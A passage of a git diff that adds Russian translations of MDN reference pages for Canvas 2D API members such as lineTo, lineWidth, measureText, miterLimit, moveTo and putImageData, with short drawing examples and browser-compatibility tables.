+<p>Сам метод ничего не рисует, он лишь добавляет подпуть к текущему пути, предоствляя его таким методам, как {{domxref("CanvasRenderingContext2D.fill", "fill()")}} и {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}, отрисовывающим сам путь.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.lineTo(<em>x</em>, <em>y</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>OX значение конца линии.</dd>
+ <dt><code>y</code></dt>
+ <dd>OY значение конца линии.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Рисование_прямых_линий">Рисование прямых линий</h3>
+
+<p>Этот пример рисует прямую линию используя метод <code>lineTo()</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Линия начинается в точке (30, 50), а заканчивается в точке (150, 100).</p>
+
+<pre class="brush: js; highlight:[6]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();       // Начинает новый путь
+ctx.moveTo(30, 50);    // Рередвигает перо в точку (30, 50)
+ctx.lineTo(150, 100);  // Рисует линию до точки (150, 100)
+ctx.stroke();          // Отображает путь</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Рисование_прямых_линий', 700, 180) }}</p>
+
+<h3 id="Рисование_соединенных_линий">Рисование соединенных линий</h3>
+
+<p>Каждый вызов <code>lineTo()</code> автоматически добавляет текущий подпуть, это означает, что все линии будут обведены и закрашены вместе. Этот пример рисует букву 'M' линиями одного пути.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.moveTo(90, 130);
+ctx.lineTo(95, 25);
+ctx.lineTo(150, 80);
+ctx.lineTo(205, 25);
+ctx.lineTo(210, 130);
+ctx.lineWidth = 15;
+ctx.stroke();</pre>
+
+<h4 id="Результаты">Результаты</h4>
+
+<p>{{ EmbedLiveSample('Рисование_соединенных_линий', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.lineTo")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.moveTo()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
new file mode 100644
index 0000000000..e16000bc2d
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
@@ -0,0 +1,179 @@
+---
+title: CanvasRenderingContext2D.lineWidth
+slug: Web/API/CanvasRenderingContext2D/lineWidth
+translation_of: Web/API/CanvasRenderingContext2D/lineWidth
+---
+<div>{{APIRef}}</div>
+
+<p><code>Свойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, предоставляемое Canvas 2D API задает толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</p>
+
+<p>См. также главу  <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.lineWidth = value;</var></pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Число, задающее толщину линии в пикселах. Ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_lineWidth_property" name="Using_the_lineWidth_property">Использование свойства lineWidth</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий lineWidth.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[6]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linewidth", "CanvasRenderingContext2D.lineWidth")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возожность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h2>
+
+<ul>
+ <li>В браузерах на базе WebKit и Blink, помимо этого свойства также поддерживается нестандартный метод <code>ctx.setLineWidth()</code>.</li>
+</ul>
+
+<h2 id="Особенности_Gecko">Особенности Gecko</h2>
+
+<ul>
+ <li>В Gecko ниже 2.0 версии, при задании lineWidth отрицательного значения выбрасывалось исключение.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html b/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html
new file mode 100644
index 0000000000..20efc3672c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html
@@ -0,0 +1,69 @@
+---
+title: CanvasRenderingContext2D.measureText()
+slug: Web/API/CanvasRenderingContext2D/measureText
+translation_of: Web/API/CanvasRenderingContext2D/measureText
+---
+<div>{{APIRef}}</div>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><code><strong>CanvasRenderingContext2D</strong></code><strong><code><span>.measureText(),</span></code></strong> предоставляемый Canvas 2D API, возвращает объект {{domxref("TextMetrics")}}, содержащий информацию об измеренном тексте (например, ширину).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.measureText(<em>text</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>Строка {{jsxref("String")}} для измерения.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект {{domxref("TextMetrics")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Используя элемент {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>... вы можете получить объект {{domxref("TextMetrics")}}, используя следующий код:</p>
+
+<pre class="brush: js; highlight:[4]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+let text = ctx.measureText('Hello world');
+console.log(text.width);  // 56;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.measureText")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html b/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html
new file mode 100644
index 0000000000..f22e392449
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html
@@ -0,0 +1,118 @@
+---
+title: CanvasRenderingContext2D.miterLimit
+slug: Web/API/CanvasRenderingContext2D/miterLimit
+translation_of: Web/API/CanvasRenderingContext2D/miterLimit
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <strong>CanvasRenderingContext2D.miterLimit</strong> устанавливает/возвращает максимальную длину среза.</p>
+
+<p>Длина среза это расстояние между внутренним и внешнем углом, образованным пересечением двух линий.</p>
+
+<div class="note">
+<p>For more info about miters, see <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> in the <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.miterLimit = <em>число</em>;</pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>число</code></dt>
+ <dd>Положительное число, определяющее максимальную длину среза. Если текущая длина среза будет превышать заданное значение, то угол будет отображаться как при значении <code>bevel</code> свойства <code>lineJoin</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_miterLimit_property">Using the <code>miterLimit</code> property</h3>
+
+<p>See the chapter <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors#A_demo_of_the_miterLimit_property">Applying styles and color</a> in the <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> for more information.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-miterlimit", "CanvasRenderingContext2D.miterLimit")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.miterLimit")}}</p>
+
+<h3 id="WebKitBlink-specific_notes">WebKit/Blink-specific notes</h3>
+
+<ul>
+ <li>In WebKit- and Blink-based Browsers, a non-standard and deprecated method <code>ctx.setMiterLimit()</code> is implemented in addition to this property.</li>
+</ul>
+
+<h3 id="Gecko-specific_notes">Gecko-specific notes</h3>
+
+<ul>
+ <li>Starting Gecko 2.0 {{geckoRelease("2.0")}}, setting <code>miterLimit</code> to a negative value no longer throws an exception; instead, it properly ignores non-positive values.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html
new file mode 100644
index 0000000000..e0ea2d18b0
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html
@@ -0,0 +1,172 @@
+---
+title: CanvasRenderingContext2D.moveTo()
+slug: Web/API/CanvasRenderingContext2D/moveTo
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/moveTo
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.moveTo()</code></strong>, предоставляемый Canvas 2D API, перемещает начальную точку нового фрагмента контура в координаты <code>(x, y)</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.moveTo(x, y);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата точки по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата точки по оси y.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_moveTo">Использование метода <code>moveTo</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>moveTo</code> для того, чтобы переместить указатель в начальную позицию для рисования линии.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke()&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineTo()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html
new file mode 100644
index 0000000000..a37cdc3479
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html
@@ -0,0 +1,177 @@
+---
+title: CanvasRenderingContext2D.putImageData()
+slug: Web/API/CanvasRenderingContext2D/putImageData
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/putImageData
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.putImageData()</code></strong> метод Canvas 2D API рисует данные из заданного {{domxref("ImageData")}} объекта на холст. На этот метод не влияет матрица преобразования холста.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Данные изображения могут быть получены с холста с помощью метода {{domxref("CanvasRenderingContext2D.getImageData()", "getImageData()")}}.</p>
+</div>
+
+<p>Вы можете найти больше информации о <code>putImageData()</code> и общих манипуляциях с содержимым холста в статье <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Пиксельные манипуляции с холстом</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.putImageData(<em>imageData</em>, <em>dx</em>, <em>dy</em>);
+void <em>ctx</em>.putImageData(<em>imageData</em>, <em>dx</em>, <em>dy</em>, <em>dirtyX</em>, <em>dirtyY</em>, <em>dirtyWidth</em>, <em>dirtyHeight</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>imageData</code></dt>
+ <dd>Объект {{domxref("ImageData")}}, содержащий массив значений пикселей..</dd>
+ <dt><code>dx</code></dt>
+ <dd>Горизонтальная позиция (координата x), в которой необходимо разместить данные изображения на целевом холсте.</dd>
+ <dt><code>dy</code></dt>
+ <dd>Вертикальная позиция (координата y), в которой необходимо разместить данные изображения на целевом холсте.</dd>
+ <dt><code>dirtyX</code>{{optional_inline}}</dt>
+ <dd>Горизонтальная позиция (координата x) верхнего левого угла, из которого будут извлечены данные изображения. По умолчанию 0.</dd>
+ <dt><code>dirtyY</code> {{optional_inline}}</dt>
+ <dd>Вертикальная позиция (координата y) верхнего левого угла, из которого будут извлечены данные изображения. По умолчанию 0.</dd>
+ <dt><code>dirtyWidth</code> {{optional_inline}}</dt>
+ <dd>Ширина прямоугольника для рисования. По умолчанию ширина данных изображения.</dd>
+ <dt><code>dirtyHeight</code> {{optional_inline}}</dt>
+ <dd>Высота прямоугольника для рисования. По умолчанию высота данных изображения.</dd>
+</dl>
+
+<h3 id="Ошибки">Ошибки</h3>
+
+<dl>
+ <dt><code>NotSupportedError</code></dt>
+ <dd>Выбрасывается, если любой из аргументов бесконечен.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Выбрасывается, если данные объекта ImageData были отделены.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Понимание_putImageData">Понимание putImageData</h3>
+
+<p>Чтобы понять, что этот алгоритм делает под капотом, вот реализация сверху {{domxref("CanvasRenderingContext2D.fillRect()")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let canvas = document.getElementById('canvas');
+let ctx = canvas.getContext('2d');
+
+function putImageData(ctx, imageData, dx, dy,
+    dirtyX, dirtyY, dirtyWidth, dirtyHeight) {
+  let data = imageData.data;
+  let height = imageData.height;
+  let width = imageData.width;
+  dirtyX = dirtyX || 0;
+  dirtyY = dirtyY || 0;
+  dirtyWidth = dirtyWidth !== undefined? dirtyWidth: width;
+  dirtyHeight = dirtyHeight !== undefined? dirtyHeight: height;
+  let limitBottom = dirtyY + dirtyHeight;
+  let limitRight = dirtyX + dirtyWidth;
+  for (let y = dirtyY; y &lt; limitBottom; y++) {
+    for (let x = dirtyX; x &lt; limitRight; x++) {
+      var pos = y * width + x;
+      ctx.fillStyle = 'rgba(' + data[pos*4+0]
+                        + ',' + data[pos*4+1]
+                        + ',' + data[pos*4+2]
+                        + ',' + (data[pos*4+3]/255) + ')';
+      ctx.fillRect(x + dx, y + dy, 1, 1);
+    }
+  }
+}
+
+// Нарисуйте контент на холсте
+ctx.fillRect(0, 0, 100, 100);
+// Создайте объект ImageData из него
+let imagedata = ctx.getImageData(0, 0, 100, 100);
+// используйте функцию putImageData, которая иллюстрирует, как работает putImageData
+putImageData(ctx, imagedata, 150, 0, 50, 50, 25, 25);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Понимание_putImageData', '', '', '', 'Web/API/CanvasRenderingContext2D/putImageData',800) }}</p>
+
+<h3 id="Потеря_данных_из-за_оптимизации_браузера">Потеря данных из-за оптимизации браузера</h3>
+
+<div class="blockIndicator warning">
+<p> Из-за характера потерь при преобразовании в и из предварительно умноженных значений альфа-цвета пиксели, которые были только что установлены с помощью <code>putImageData()</code>, могут быть возвращены в эквивалентный <code>getImageData()</code> в качестве различных значений.</p>
+</div>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.createElement("canvas");
+canvas.width = 1;
+canvas.height = 1;
+const context = canvas.getContext("2d");
+const imgData = context.getImageData(0, 0, canvas.width, canvas.height);
+const pixels = imgData.data;
+
+pixels[0 + 0] = 1;
+pixels[0 + 1] = 127;
+pixels[0 + 2] = 255;
+pixels[0 + 3] = 1;
+
+console.log("before:", pixels);
+context.putImageData(imgData, 0, 0);
+const imgData2 = context.getImageData(0, 0, canvas.width, canvas.height);
+const pixels2 = imgData2.data;
+console.log("after:", pixels2);</pre>
+
+<p>Вывод может выглядеть так:</p>
+
+<pre>before: Uint8ClampedArray(4) [ 1, 127, 255, 1 ]
+after: Uint8ClampedArray(4) [ 255, 255, 255, 1 ]</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-putimagedata", "CanvasRenderingContext2D.putImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузера">Совместимость с браузера</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.putImageData")}}</p>
+
+<h3 id="Специфичные_для_Gecko_заметки">Специфичные для Gecko заметки</h3>
+
+<ul>
+ <li>Начиная с Gecko 10.0 {{ geckoRelease("10.0") }}, нескончаемые(например, NaN или Infinity) значения любого из этих параметров приводят к тому, что вызов <code>putImageData()</code> будет игнорироваться, а не вызывать исключение.</li>
+ <li>To comply with the specification, starting with Gecko 16.0 {{geckoRelease("16.0")}}, a call with an invalid number of arguments (only 3 or 7 arguments are valid), will now throw an error ({{bug(762657)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("ImageData")}} объект</li>
+ <li>{{domxref("CanvasRenderingContext2D.getImageData()")}}</li>
